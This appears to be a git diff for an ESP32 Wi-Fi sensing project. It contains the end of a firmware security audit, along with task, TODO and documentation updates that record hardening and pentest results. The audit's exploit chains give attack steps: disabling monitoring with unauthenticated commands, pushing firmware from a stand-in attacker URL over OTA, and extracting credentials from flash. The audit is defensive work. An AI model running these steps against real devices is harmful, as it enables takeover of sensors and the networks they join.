||||
### VULN-022: No Firmware Version Anti-Rollback Enforcement
|
||||
|
||||
- **Severity:** Informational
|
||||
- **Category:** E (OTA)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults`, line 66; `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, lines 2712-2720
|
||||
- **Description:** While `CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y` is set (allowing the device to roll back to the previous firmware if the new one fails to boot), there is no anti-rollback mechanism to prevent downgrading to an older, potentially vulnerable firmware version. An attacker who can trigger OTA (via VULN-001) can flash an older firmware with known vulnerabilities. ESP-IDF supports `CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK` with an eFuse-based version counter, but it is not enabled.
|
||||
- **Remediation:**
|
||||
```
|
||||
CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK=y
|
||||
CONFIG_BOOTLOADER_APP_SECURE_VERSION=1 # Increment with each security-relevant release
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VULN-023: PMF (802.11w) Not Explicitly Enabled
|
||||
|
||||
- **Severity:** Informational
|
||||
- **Category:** F (WiFi)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults`
|
||||
- **Description:** Protected Management Frames (802.11w / PMF) is not explicitly enabled in the sdkconfig. While `CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y` is set (which may imply PMF for WPA3), the device is susceptible to deauthentication attacks from the AP side if the router doesn't enforce PMF. The firmware already detects deauth floods (promiscuous mode), but enabling PMF would prevent them at the protocol level.
|
||||
- **Remediation:** Enable PMF:
|
||||
```
|
||||
CONFIG_ESP_WIFI_PMF_ENABLED=y
|
||||
CONFIG_ESP_WIFI_PMF_REQUIRED=y
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VULN-024: Tight Stack Allocations on Several Tasks
|
||||
|
||||
- **Severity:** Informational
|
||||
- **Category:** G (FreeRTOS)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, multiple `xTaskCreate` calls
|
||||
- **Description:** Several tasks have relatively tight stack allocations:
|
||||
- `led_task`: 2048 bytes (line 2611) -- adequate for simple GPIO
|
||||
- `reboot_after_delay`: 1024 bytes (lines 1658, 2426) -- adequate
|
||||
- `adaptive`: 3072 bytes (line 2710) -- does floating-point math and snprintf into 128-byte buffers; marginal
|
||||
- `cmd_task`: 6144 bytes (line 2709) -- handles `reply_buf[1400]` plus HMAC computation (mbedTLS context ~400 bytes); should be sufficient but tight with PROFILE command's `malloc` for task stats
|
||||
- `powertest`: 4096 bytes (line 2151) -- should be sufficient
|
||||
- `ota_task`: 8192 bytes (line 2131) -- adequate for HTTP client
|
||||
|
||||
The PROFILE command (lines 2046-2061) calls `malloc(n * sizeof(TaskStatus_t))` within the cmd_task, which allocates on the heap, not the stack, so this is safe. However, the mbedTLS HMAC computation in `auth_verify()` uses a stack-allocated `mbedtls_md_context_t` which can be several hundred bytes.
|
||||
- **Remediation:** Use `PROFILE` command's task watermarks to verify actual stack usage in production. Consider increasing `adaptive` task stack to 4096 if floating-point operations grow.
|
||||
|
||||
---
|
||||
|
||||
## 5. Exploit Chains
|
||||
|
||||
### Chain 1: Unauthenticated Remote Code Execution (LAN)
|
||||
|
||||
**Steps:** VULN-007 + VULN-001
|
||||
**Path:** Network -> Code Execution
|
||||
1. Attacker discovers device via mDNS (VULN-011): `avahi-browse -art | grep esp-csi`
|
||||
2. Attacker sends unauthenticated `CSI OFF` to disable monitoring (VULN-007)
|
||||
3. Attacker sends unauthenticated `LOG NONE` to suppress logging (VULN-007)
|
||||
4. Attacker sends unauthenticated `FLOODTHRESH 100 300` to suppress deauth alerts (VULN-007)
|
||||
5. If auth is disabled (or after obtaining secret via other means), send `OTA http://<attacker>/evil.bin`
|
||||
6. Device downloads and flashes attacker-controlled firmware (VULN-001)
|
||||
7. Device reboots with full attacker code execution
|
||||
|
||||
**Impact:** Complete device compromise, persistent across reboots.
|
||||
|
||||
### Chain 2: Physical Access to Full Network Compromise
|
||||
|
||||
**Steps:** VULN-002 + VULN-006 + VULN-016
|
||||
**Path:** Physical -> Credentials -> Network
|
||||
1. Attacker gains brief physical access to one deployed sensor
|
||||
2. Reads flash via esptool (no secure boot or encryption: VULN-002)
|
||||
3. Extracts Wi-Fi PSK from NVS (VULN-016)
|
||||
4. Extracts auth secret from NVS (VULN-006)
|
||||
5. Joins the Wi-Fi network using extracted credentials
|
||||
6. Has full authenticated access to ALL sensors on the same network (shared auth secret if default-generated)
|
||||
7. Can trigger OTA on all sensors for persistent compromise
|
||||
|
||||
### Chain 3: Information Gathering to Targeted Attack
|
||||
|
||||
**Steps:** VULN-011 + VULN-012 + VULN-007
|
||||
**Path:** Reconnaissance -> Manipulation
|
||||
1. Discover all sensors via mDNS (VULN-011)
|
||||
2. Query STATUS on each (no auth required) to get IDF version, firmware version, chip details (VULN-012)
|
||||
3. Identify the monitoring server IP from STATUS `target=` field
|
||||
4. Disable presence detection and CSI on all sensors (VULN-007)
|
||||
5. Physical intrusion proceeds undetected
|
||||
|
||||
### Chain 4: Auth Secret Capture and Persistent Compromise
|
||||
|
||||
**Steps:** VULN-003 + VULN-005
|
||||
**Path:** Serial Monitor -> Permanent Backdoor
|
||||
1. Attacker captures auth secret from serial log during provisioning (VULN-003)
|
||||
2. Sends `HMAC:<computed>:<ts>:AUTH OFF` to disable authentication (VULN-005)
|
||||
3. Device is now permanently open to unauthenticated commands
|
||||
4. Secret persists as empty string in NVS across reboots
|
||||
5. Attacker has persistent unauthenticated access to OTA, REBOOT, FACTORY
|
||||
|
||||
---
|
||||
|
||||
## 6. Prioritized Remediation Roadmap
|
||||
|
||||
### Immediate (Ship-Blocking, Actively Exploitable)
|
||||
|
||||
| Priority | ID | Fix | Effort |
|
||||
|----------|----|-----|--------|
|
||||
| P0 | VULN-001 | Disable `CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP`, add TLS cert validation | 2h |
|
||||
| P0 | VULN-007 | Require auth for all state-modifying commands | 1h |
|
||||
| P0 | VULN-005 | Remove ability to disable auth remotely | 30m |
|
||||
| P0 | VULN-003 | Stop logging auth secret in cleartext | 15m |
|
||||
|
||||
### Short-Term (Fix Before Fleet Deployment)
|
||||
|
||||
| Priority | ID | Fix | Effort |
|
||||
|----------|----|-----|--------|
|
||||
| P1 | VULN-010 | Fix buffer overflow potential in CSI serialization | 1h |
|
||||
| P1 | VULN-004 | Implement source IP filtering on command socket | 2h |
|
||||
| P1 | VULN-014 | Add mutex for shared calibration/presence state | 3h |
|
||||
| P1 | VULN-009 | Add sequence counter for replay protection | 2h |
|
||||
| P1 | VULN-017 | Add throttle to `config_erase_key()` | 15m |
|
||||
| P1 | VULN-018 | Add rate limiting on command socket | 1h |
|
||||
| P1 | VULN-019 | Add bounds check on probe body_len | 15m |
|
||||
|
||||
### Medium-Term (Next Release Cycle)
|
||||
|
||||
| Priority | ID | Fix | Effort |
|
||||
|----------|----|-----|--------|
|
||||
| P2 | VULN-012 | Move detailed STATUS info behind auth | 1h |
|
||||
| P2 | VULN-011 | Make mDNS instance name configurable, reduce info leakage | 30m |
|
||||
| P2 | VULN-020 | Replace `example_connect()` with production WiFi init | 4h |
|
||||
| P2 | VULN-022 | Enable anti-rollback with eFuse version counter | 2h |
|
||||
| P2 | VULN-021 | Increase HMAC tag to 128 bits | 1h |
|
||||
| P2 | VULN-023 | Enable PMF (802.11w) | 30m |
|
||||
|
||||
### Hardening (Defense-in-Depth)
|
||||
|
||||
| Priority | ID | Fix | Effort |
|
||||
|----------|----|-----|--------|
|
||||
| P3 | VULN-002 | Enable secure boot and flash encryption (requires eFuse burn, one-way) | 8h |
|
||||
| P3 | VULN-006 | Enable NVS encryption | 2h |
|
||||
| P3 | VULN-016 | Enable NVS encryption (covers WiFi creds too) | (same as above) |
|
||||
| P3 | VULN-015 | Disable UART console or reduce log level for production builds | 1h |
|
||||
| P3 | VULN-008 | Bind command socket to specific interface IP | 1h |
|
||||
| P3 | VULN-024 | Monitor and tune task stack sizes via PROFILE | 1h |
|
||||
|
||||
---
|
||||
|
||||
## 7. Appendix: Secure Configuration Checklist for ESP-IDF sdkconfig
|
||||
|
||||
```
|
||||
# --- Security: Secure Boot ---
|
||||
CONFIG_SECURE_BOOT=y
|
||||
CONFIG_SECURE_BOOT_V2_ENABLED=y # Use V2 on supported chips
|
||||
CONFIG_SECURE_BOOT_SIGNING_KEY="path/to/key.pem"
|
||||
CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK=y
|
||||
CONFIG_BOOTLOADER_APP_SECURE_VERSION=1
|
||||
|
||||
# --- Security: Flash Encryption ---
|
||||
CONFIG_SECURE_FLASH_ENC_ENABLED=y
|
||||
CONFIG_SECURE_FLASH_ENCRYPTION_MODE_RELEASE=y # Development mode allows re-flash
|
||||
CONFIG_NVS_ENCRYPTION=y
|
||||
|
||||
# --- Security: OTA ---
|
||||
CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=n # [CURRENTLY: y -- CHANGE]
|
||||
CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y # [ALREADY SET]
|
||||
CONFIG_ESP_TLS_INSECURE=n
|
||||
CONFIG_ESP_TLS_SKIP_SERVER_CERT_VERIFY=n
|
||||
|
||||
# --- Security: WiFi ---
|
||||
CONFIG_ESP_WIFI_PMF_ENABLED=y
|
||||
CONFIG_ESP_WIFI_PMF_REQUIRED=y
|
||||
CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y # [ALREADY SET]
|
||||
|
||||
# --- Security: Debug ---
|
||||
# For production, consider:
|
||||
CONFIG_ESP_CONSOLE_NONE=y # Disable UART console
|
||||
CONFIG_LOG_DEFAULT_LEVEL_WARN=y # Reduce log verbosity
|
||||
# CONFIG_APPTRACE_DEST_JTAG is not set # [ALREADY NOT SET]
|
||||
|
||||
# --- Security: Stack Protection ---
|
||||
CONFIG_COMPILER_STACK_CHECK_MODE_STRONG=y # Enable stack canaries
|
||||
CONFIG_ESP_SYSTEM_MEMPROT_FEATURE=y # Memory protection (S2/S3/C3)
|
||||
|
||||
# --- Performance (already set) ---
|
||||
CONFIG_COMPILER_OPTIMIZATION_SIZE=y # [ALREADY SET]
|
||||
CONFIG_ESP_TASK_WDT_TIMEOUT_S=30 # [ALREADY SET]
|
||||
CONFIG_FREERTOS_HZ=1000 # [ALREADY SET]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**End of Report**
|
||||
|
||||
This audit covers all requested categories (A through J), identifies 24 findings across all severity levels, maps 4 exploit chains, and provides a prioritized remediation roadmap with estimated effort. The P0 fixes (VULN-001, VULN-003, VULN-005, VULN-007) collectively address the most critical attack paths and can be implemented in approximately 4 hours of development effort.
|
||||
105
TASKS.md
105
TASKS.md
@@ -1,50 +1,91 @@
|
||||
# ESP32 Hacking Tasks
|
||||
|
||||
**Last Updated:** 2026-02-05
|
||||
**Last Updated:** 2026-02-14
|
||||
|
||||
## Current Sprint: v2.0 — Flask API Backend
|
||||
## Completed: v1.12-dev — Security Hardening & Pentest
|
||||
|
||||
### P0 - Critical (Phase 1: Project Setup)
|
||||
- [ ] Create project scaffold `~/git/esp32-web/`
|
||||
- [ ] Flask app factory pattern with Blueprints
|
||||
- [ ] HTTP API on TCP 5500, UDP collector on UDP 5500
|
||||
- [ ] SQLAlchemy models: Sensor, Device, Sighting, Alert, Event, Probe
|
||||
- [ ] Containerfile for podman
|
||||
- [ ] Makefile (build, run, dev, stop, logs)
|
||||
- [ ] Basic pytest setup
|
||||
Security hardening deployed to amber-maple. Full pentest executed 2026-02-14.
|
||||
|
||||
### P1 - High (Phase 2: UDP Collector)
|
||||
- [ ] UDP listener thread (parse CSI_DATA, BLE_DATA, PROBE_DATA, ALERT_DATA, EVENT)
|
||||
- [ ] Store parsed data to SQLite/PostgreSQL
|
||||
- [ ] Sensor heartbeat tracking (mark online/offline)
|
||||
- [ ] Integrate collector with Flask app lifecycle
|
||||
- [x] Auth whitelist: only read-only queries work without HMAC auth
|
||||
- [x] AUTH OFF disabled remotely (serial console or FACTORY reset only)
|
||||
- [x] HMAC 128-bit (32 hex chars), replay window +/-5s, nonce dedup cache (8 entries)
|
||||
- [x] STATUS split: minimal (unauthed) vs full (authed) response
|
||||
- [x] Rate limiter: 50ms inter-command throttle (20 cmd/s max)
|
||||
- [x] NVS write throttle: 20 writes per 10s window
|
||||
- [x] CSI buffer bounds checking (UDP_REM macro)
|
||||
- [x] PMF (802.11w) required: `CONFIG_ESP_WIFI_PMF_REQUIRED=y`
|
||||
- [x] mDNS: hostname only, no service advertisement
|
||||
- [x] Serial console AUTH management (UART0, 921600 baud)
|
||||
- [x] ALERT command (temp/heap thresholds, EVENT emission)
|
||||
- [x] Secret auto-generated on first boot, redacted in boot log
|
||||
- [x] Pentest: mDNS service discovery — PASS (no service ads)
|
||||
- [x] Pentest: Port scan — PASS (only 5353/udp + 5501/udp open, 0 TCP)
|
||||
- [x] Pentest: Firmware binary analysis — PASS (no hardcoded secrets)
|
||||
- [x] Pentest: eFuse readout — all security fuses unburned (expected for dev)
|
||||
- [x] Pentest: HMAC timing oracle — PASS (constant-time comparison effective)
|
||||
- [x] Pentest: Command injection (27 tests) — PASS (all handled safely)
|
||||
- [x] Pentest: Replay attack (6 tests) — PASS (all rejected)
|
||||
- [x] Pentest: NVS partition analysis — auth_secret in plaintext (expected without flash encryption)
|
||||
- [x] Pentest: ESP-IDF CVE check (12 CVEs) — 8 N/A, 4 LOW risk
|
||||
- [x] Pentest: Binary structure — no stack canaries, no heap poisoning (fix recommended)
|
||||
- [x] Pentest results documented in `docs/PENTEST-RESULTS.md`
|
||||
|
||||
### P1 - High (Phase 3: Core API)
|
||||
- [ ] `GET /api/v1/sensors` — list sensors
|
||||
- [ ] `GET /api/v1/devices` — list devices (BLE + WiFi MACs)
|
||||
- [ ] `GET /api/v1/alerts` — alert feed with pagination
|
||||
- [ ] `GET /api/v1/probes` — probe requests
|
||||
- [ ] `GET /api/v1/events` — sensor events
|
||||
- [ ] `POST /api/v1/sensors/<id>/command` — send command to sensor
|
||||
## Completed: v1.11.0 — Diagnostics & Usability
|
||||
|
||||
### P2 - Normal (Phase 4: OSINT)
|
||||
- [ ] MAC vendor lookup (OUI database)
|
||||
- [ ] BLE company_id mapping
|
||||
- [ ] `GET /api/v1/stats` — aggregate statistics
|
||||
- [ ] Export endpoints (CSV, JSON)
|
||||
Deployed to fleet 2026-02-14.
|
||||
|
||||
### P2 - Normal (Backlog from v1.x)
|
||||
- [x] CSI ON/OFF command to toggle CSI collection
|
||||
- [x] HELP command (lists all 30 commands with syntax)
|
||||
- [x] FACTORY command (erase NVS config + reboot)
|
||||
- [x] CONFIG command (dump all running config key=value)
|
||||
- [x] PING command (echo reply, returns OK PONG)
|
||||
- [x] LOG command (runtime log level: NONE/ERROR/WARN/INFO/DEBUG/VERBOSE)
|
||||
- [x] RSSI RESET command (reset min/max counters)
|
||||
- [x] Tagged v1.11.0 and OTA deployed to all 3 sensors
|
||||
|
||||
## Web Backend (`~/git/esp32-web/`)
|
||||
|
||||
Tracked separately in `~/git/esp32-web/TASKS.md`. Currently at v0.1.5.
|
||||
|
||||
## Firmware Backlog
|
||||
|
||||
### P1 - High
|
||||
- [x] Test OTA rollback — crasher firmware flashed to amber-maple, bootloader rolled back to v1.11.0 (2026-02-14)
|
||||
- [x] Enable stack canaries: `CONFIG_COMPILER_STACK_CHECK_MODE_NORM=y` (2026-02-14)
|
||||
- [x] Enable heap poisoning: `CONFIG_HEAP_POISONING_LIGHT=y` (2026-02-14)
|
||||
- [x] Enable WDT panic: `CONFIG_ESP_TASK_WDT_PANIC=y` (2026-02-14)
|
||||
- [x] Remove unused `#include "esp_now.h"` (2026-02-14)
|
||||
- [x] Remove hardcoded default IP from Kconfig (2026-02-14)
|
||||
|
||||
### P1 - High
|
||||
- [x] OTA TLS certificate verification via ESP-IDF CA bundle (2026-02-14)
|
||||
|
||||
### P2 - Normal
|
||||
- [ ] Tune presence threshold per room with real-world testing
|
||||
- [ ] Power consumption measurements using POWERTEST + external meter
|
||||
- [ ] Test OTA rollback (flash bad firmware, verify auto-revert)
|
||||
- [ ] Multi-target (send UDP to 2+ destinations)
|
||||
|
||||
### P3 - Low
|
||||
- [x] ALERT command — temp/heap threshold monitoring with EVENT emission (2026-02-14)
|
||||
- [ ] Deep sleep mode with wake-on-CSI-motion
|
||||
- [ ] Battery-optimized duty cycling
|
||||
- [ ] AP+STA config portal (captive portal for initial setup)
|
||||
|
||||
### Documentation
|
||||
- [ ] Document esp-crab dual-antenna capabilities
|
||||
- [ ] Document esp-radar console features
|
||||
- [ ] Pin mapping for ESP32-DevKitC V1
|
||||
|
||||
## Completed: v1.10 - LED Quiet Mode & CI Hardening
|
||||
|
||||
- [x] LED quiet mode (off normally, solid on motion/presence, blinks on OTA)
|
||||
- [x] Default LED to quiet mode
|
||||
- [x] Build metadata in STATUS reply
|
||||
- [x] CI security checks (secrets scan, config validation)
|
||||
- [x] Firmware size check and version tag validation
|
||||
- [x] Size optimization (`-Os`, saves ~75KB)
|
||||
- [x] CSI ON/OFF toggle command
|
||||
|
||||
## Completed: v1.9 - Multi-Channel Scanning & BLE Fingerprinting
|
||||
|
||||
- [x] CHANSCAN command (ON/OFF/NOW/INTERVAL)
|
||||
@@ -212,10 +253,12 @@
|
||||
## Notes
|
||||
|
||||
- Adaptive threshold varies by environment; 0.001-0.01 is a good starting range
|
||||
- NVS keys (24 total): `send_rate`, `tx_power`, `adaptive`, `threshold`, `ble_scan`, `target_ip`, `target_port`, `hostname`, `boot_count`, `csi_mode`, `hybrid_n`, `auth_secret`, `flood_thresh`, `flood_window`, `scan_rate`, `probe_rate`, `powersave`, `presence`, `pr_thresh`, `bl_nsub`, `bl_amps`, `chanscan`, `chanscan_int`
|
||||
- NVS keys (28 total): `send_rate`, `tx_power`, `adaptive`, `threshold`, `ble_scan`, `target_ip`, `target_port`, `hostname`, `boot_count`, `csi_mode`, `hybrid_n`, `auth_secret`, `flood_thresh`, `flood_window`, `scan_rate`, `probe_rate`, `powersave`, `presence`, `pr_thresh`, `bl_nsub`, `bl_amps`, `chanscan`, `chanscan_int`, `led_quiet`, `csi_enabled`, `alert_temp`, `alert_heap`
|
||||
- UDP commands (28 total): STATUS, CONFIG, RATE, POWER, TARGET, HOSTNAME, CSI, CSIMODE, ADAPTIVE, THRESHOLD, BLE, SCANRATE, PROBERATE, CALIBRATE, PRESENCE, CHANSCAN, LED, POWERSAVE, AUTH, FLOODTHRESH, ALERT, OTA, POWERTEST, PROFILE, PING, LOG, RSSI RESET, IDENTIFY, REBOOT, FACTORY, HELP
|
||||
- EVENT packets include sensor hostname: `EVENT,<hostname>,motion=... rate=... wander=...`
|
||||
- Alert events: `EVENT,<hostname>,alert=heap free=<n> thresh=<n>` and `EVENT,<hostname>,alert=temp value=<n> thresh=<n>`
|
||||
- ALERT_DATA format: `ALERT_DATA,<hostname>,<deauth|disassoc>,<sender_mac>,<target_mac>,<rssi>` or `ALERT_DATA,<hostname>,deauth_flood,<count>,<window_s>`
|
||||
- STATUS fields: `uptime=`, `uptime_s=`, `heap=`, `rssi=`, `channel=`, `tx_power=`, `rate=`, `csi_rate=`, `hostname=`, `version=`, `adaptive=`, `motion=`, `ble=`, `target=`, `temp=`, `csi_count=`, `boots=`, `rssi_min=`, `rssi_max=`, `csi_mode=`, `hybrid_n=`, `auth=`, `flood_thresh=`, `powersave=`, `presence=`, `pr_score=`
|
||||
- STATUS fields: `uptime=`, `uptime_s=`, `heap=`, `rssi=`, `channel=`, `tx_power=`, `rate=`, `csi_rate=`, `hostname=`, `version=`, `adaptive=`, `motion=`, `ble=`, `target=`, `temp=`, `csi_count=`, `boots=`, `rssi_min=`, `rssi_max=`, `csi=`, `csi_mode=`, `hybrid_n=`, `auth=`, `flood_thresh=`, `powersave=`, `presence=`, `pr_score=`, `chanscan=`, `led=`, `alert_temp=`, `alert_heap=`, `nvs_used=`, `nvs_free=`, `nvs_total=`, `part_size=`, `built=`, `idf=`, `chip=`
|
||||
- PROBE_DATA format: `PROBE_DATA,<hostname>,<mac>,<rssi>,<ssid>`
|
||||
- Probe requests deduped per MAC (default 10s cooldown, tunable via PROBERATE)
|
||||
- mDNS service: `_esp-csi._udp` on data port (for sensor discovery)
|
||||
|
||||
84
TODO.md
84
TODO.md
@@ -1,72 +1,43 @@
|
||||
# ESP32 Hacking TODO
|
||||
|
||||
## Flask API (`~/git/esp32-web/`)
|
||||
|
||||
### Architecture
|
||||
- [ ] App factory pattern (`create_app()`)
|
||||
- [ ] Blueprints: `api`, `collector`
|
||||
- [ ] SQLAlchemy with migrations (Flask-Migrate)
|
||||
- [ ] Background UDP collector (threading or Celery)
|
||||
- [ ] Config from environment variables
|
||||
- [ ] Port 5500: HTTP API (TCP) + UDP collector (UDP) on same port number
|
||||
|
||||
### Database Schema
|
||||
- [ ] `sensors` — id, hostname, ip, last_seen, status, config_json
|
||||
- [ ] `devices` — mac, type (ble/wifi), vendor, first_seen, last_seen
|
||||
- [ ] `sightings` — device_id, sensor_id, rssi, timestamp
|
||||
- [ ] `alerts` — sensor_id, type, source_mac, target_mac, rssi, timestamp
|
||||
- [ ] `probes` — device_id, sensor_id, ssid, rssi, channel, timestamp
|
||||
- [ ] `events` — sensor_id, event_type, payload_json, timestamp
|
||||
|
||||
### API Endpoints
|
||||
- [ ] Sensors: list, detail, status, command, config, history
|
||||
- [ ] Devices: list, detail, profile, sightings
|
||||
- [ ] Alerts: list with filters (type, sensor, time range)
|
||||
- [ ] Probes: list, group by SSID, group by MAC
|
||||
- [ ] Events: list with filters
|
||||
- [ ] Stats: counts, activity graphs data
|
||||
- [ ] Export: CSV, JSON for devices/alerts/probes
|
||||
|
||||
### UDP Collector
|
||||
- [ ] Parse CSI_DATA (hostname, count, mac, rssi, features)
|
||||
- [ ] Parse BLE_DATA (hostname, mac, rssi, type, name, company_id, tx_power, flags)
|
||||
- [ ] Parse PROBE_DATA (hostname, mac, rssi, ssid, channel)
|
||||
- [ ] Parse ALERT_DATA (hostname, type, source, target, rssi OR flood count)
|
||||
- [ ] Parse EVENT (hostname, key=value pairs)
|
||||
- [ ] Heartbeat timeout detection (mark sensor offline)
|
||||
|
||||
### OSINT
|
||||
- [ ] IEEE OUI database (download + parse)
|
||||
- [ ] BLE company ID database (Bluetooth SIG)
|
||||
- [ ] Device fingerprinting by BLE advertisement patterns
|
||||
- [ ] Probe request SSID profiling (home networks, corporate, etc.)
|
||||
|
||||
## Firmware
|
||||
|
||||
### Security (from pentest findings)
|
||||
- [x] Enable `CONFIG_COMPILER_STACK_CHECK_MODE_NORM=y` (stack canaries)
|
||||
- [x] Enable `CONFIG_HEAP_POISONING_LIGHT=y` (heap corruption detection)
|
||||
- [x] Enable `CONFIG_ESP_TASK_WDT_PANIC=y` (WDT auto-recovery)
|
||||
- [x] Remove unused `#include "esp_now.h"` from app_main.c
|
||||
- [x] Remove hardcoded default IP `192.168.129.11` from binary
|
||||
- [ ] Flash encryption planning (irreversible eFuse burn)
|
||||
- [ ] Secure Boot V2 planning (irreversible eFuse burn)
|
||||
- [ ] DTLS for UDP command channel (stretch goal)
|
||||
- [x] OTA TLS certificate verification (ESP-IDF CA bundle)
|
||||
- [ ] NVS encryption for auth_secret at rest
|
||||
|
||||
### Features
|
||||
- [ ] Multi-target (send UDP data to 2+ destinations simultaneously)
|
||||
- [ ] Deep sleep mode with wake-on-CSI-motion
|
||||
- [ ] Battery-optimized duty cycling
|
||||
- [ ] AP+STA config portal (captive portal for initial setup)
|
||||
|
||||
### Testing
|
||||
- [ ] Tune presence threshold per room with real-world testing
|
||||
- [ ] Power consumption measurements (per-mode: idle, CSI, BLE, probe)
|
||||
- [ ] Benchmark: CSI callback latency
|
||||
- [ ] Benchmark: UDP throughput at different rates
|
||||
|
||||
### Documentation
|
||||
- [ ] Document esp-crab dual-antenna capabilities
|
||||
- [ ] Document esp-radar console features
|
||||
- [ ] Pin mapping for ESP32-DevKitC V1
|
||||
- [ ] Compare CSI quality: passive (router) vs active (ESP-NOW)
|
||||
- [ ] Multi-sensor deployment guide (placement, zones, triangulation)
|
||||
|
||||
## Tools (esp-ctl)
|
||||
|
||||
- [ ] Migrate OSINT database to Flask API (esp-ctl becomes thin client)
|
||||
- [ ] `esp-ctl api` subcommand (query Flask API)
|
||||
|
||||
## Testing
|
||||
|
||||
- [ ] Benchmark: CSI callback latency
|
||||
- [ ] Benchmark: UDP throughput at different rates
|
||||
- [ ] Power consumption measurements (per-mode: idle, CSI, BLE, probe)
|
||||
- [ ] API load testing (concurrent requests)
|
||||
|
||||
## Documentation
|
||||
|
||||
- [ ] Flask API: OpenAPI/Swagger spec
|
||||
- [ ] Deployment guide (podman, systemd)
|
||||
- [ ] Pin mapping for ESP32-DevKitC V1
|
||||
- [ ] Compare CSI quality: passive (router) vs active (ESP-NOW)
|
||||
- [ ] Multi-sensor deployment guide (placement, zones, triangulation)
|
||||
|
||||
## Ideas
|
||||
|
||||
- ESP-NOW mesh for direct ESP32-to-ESP32 CSI
|
||||
@@ -76,4 +47,3 @@
|
||||
- Grafana dashboards for long-term analytics
|
||||
- ML-based device classification (phone vs laptop vs IoT)
|
||||
- Webhook callbacks for alerts (Slack, Discord, ntfy)
|
||||
- Rate limiting and API authentication (JWT)
|
||||
|
||||
@@ -52,7 +52,6 @@ esp-cmd <host> CSIMODE COMPACT # Features only (~200 B/pkt)
|
||||
esp-cmd <host> CSIMODE HYBRID 10 # Compact + raw every Nth packet
|
||||
esp-cmd <host> AUTH # Query auth status (on/off)
|
||||
esp-cmd <host> AUTH mysecret123 # Enable HMAC auth (8-64 char secret)
|
||||
esp-cmd <host> AUTH OFF # Disable auth
|
||||
esp-cmd <host> FLOODTHRESH # Query deauth flood threshold (5/10s)
|
||||
esp-cmd <host> FLOODTHRESH 10 30 # Set: 10 deauths in 30s = flood
|
||||
esp-cmd <host> CALIBRATE # Start baseline capture (default 10s, room must be empty)
|
||||
@@ -184,12 +183,20 @@ esp-cmd amber-maple.local PRESENCE THRESHOLD 0.08 # Higher = less sensitive
|
||||
|
||||
### LED States
|
||||
|
||||
| LED | Meaning |
|
||||
|-----|---------|
|
||||
Default mode is **quiet** (LED off unless noteworthy). Use `LED AUTO` for constant blink.
|
||||
|
||||
| LED (quiet mode) | Meaning |
|
||||
|-------------------|---------|
|
||||
| Off | Normal operation |
|
||||
| Solid | Motion or presence detected |
|
||||
| Double blink | OTA in progress |
|
||||
| Solid (5s) | IDENTIFY command active |
|
||||
|
||||
| LED (auto mode) | Meaning |
|
||||
|------------------|---------|
|
||||
| Off | Not connected to WiFi |
|
||||
| Slow blink (1 Hz) | Connected, no CSI activity |
|
||||
| Fast blink (5 Hz) | CSI data flowing |
|
||||
| Solid (5s) | IDENTIFY command active |
|
||||
| Double blink | OTA in progress |
|
||||
|
||||
## Sensor Discovery
|
||||
@@ -201,12 +208,12 @@ esp-ctl status --discover # Status using discovered fleet
|
||||
esp-ctl target --discover # Query targets via discovery
|
||||
```
|
||||
|
||||
Requires firmware with `_esp-csi._udp` mDNS service (v1.1+).
|
||||
Sensors register their hostname via mDNS on boot.
|
||||
|
||||
## HMAC Command Authentication
|
||||
|
||||
```bash
|
||||
# Set auth secret on device
|
||||
# Set auth secret on device (requires existing auth or serial access)
|
||||
esp-ctl cmd amber-maple.local "AUTH mysecretkey123"
|
||||
|
||||
# Set env var so all tools sign commands automatically
|
||||
@@ -214,11 +221,36 @@ export ESP_CMD_SECRET="mysecretkey123" # add to ~/.bashrc.secrets
|
||||
|
||||
# All esp-cmd/esp-ctl/esp-fleet/esp-ota commands auto-sign when ESP_CMD_SECRET is set
|
||||
# Unsigned commands are rejected with "ERR AUTH required"
|
||||
|
||||
esp-ctl cmd amber-maple.local "AUTH OFF" # Disable auth
|
||||
```
|
||||
|
||||
Protocol: `HMAC:<16hex>:<cmd>` — first 16 hex chars of HMAC-SHA256(secret, cmd).
|
||||
Protocol: `HMAC:<32hex>:<uptime_s>:<cmd>` — first 32 hex chars of HMAC-SHA256(secret, `<uptime_s>:<cmd>`).
|
||||
Replay window: +/-5s from device uptime.
|
||||
|
||||
### Serial Console (physical access)
|
||||
|
||||
Connect via USB serial (921600 baud) for auth management without network auth:
|
||||
|
||||
```bash
|
||||
# Connect to serial console
|
||||
idf.py -p /dev/ttyUSB0 monitor # or: screen /dev/ttyUSB0 921600
|
||||
|
||||
# Serial commands (type directly):
|
||||
AUTH # Show full secret (unredacted)
|
||||
AUTH <secret> # Set new secret (8-64 chars)
|
||||
AUTH OFF # Clear secret (disable auth)
|
||||
STATUS # Basic device info
|
||||
HELP # List serial commands
|
||||
```
|
||||
|
||||
### Provisioning Tool
|
||||
|
||||
```bash
|
||||
esp-provision # Auto-generate secret, set via serial
|
||||
esp-provision mysecretkey123 # Set specific secret via serial
|
||||
esp-provision --serial # Set via serial console (device running)
|
||||
esp-provision --generate-only # Just print a random secret
|
||||
esp-provision -p /dev/ttyACM0 # Use different serial port
|
||||
```
|
||||
|
||||
## OUI Vendor Lookup
|
||||
|
||||
@@ -305,34 +337,36 @@ only generated on ESP32-C6 and newer chips.
|
||||
|
||||
## STATUS Fields
|
||||
|
||||
| Field | Example | Description |
|
||||
|-------|---------|-------------|
|
||||
| uptime | 1h23m | Human-readable uptime |
|
||||
| uptime_s | 4980 | Raw uptime in seconds |
|
||||
| heap | 108744 | Free heap bytes |
|
||||
| rssi | -67 | Current AP RSSI (dBm) |
|
||||
| channel | 11 | WiFi channel |
|
||||
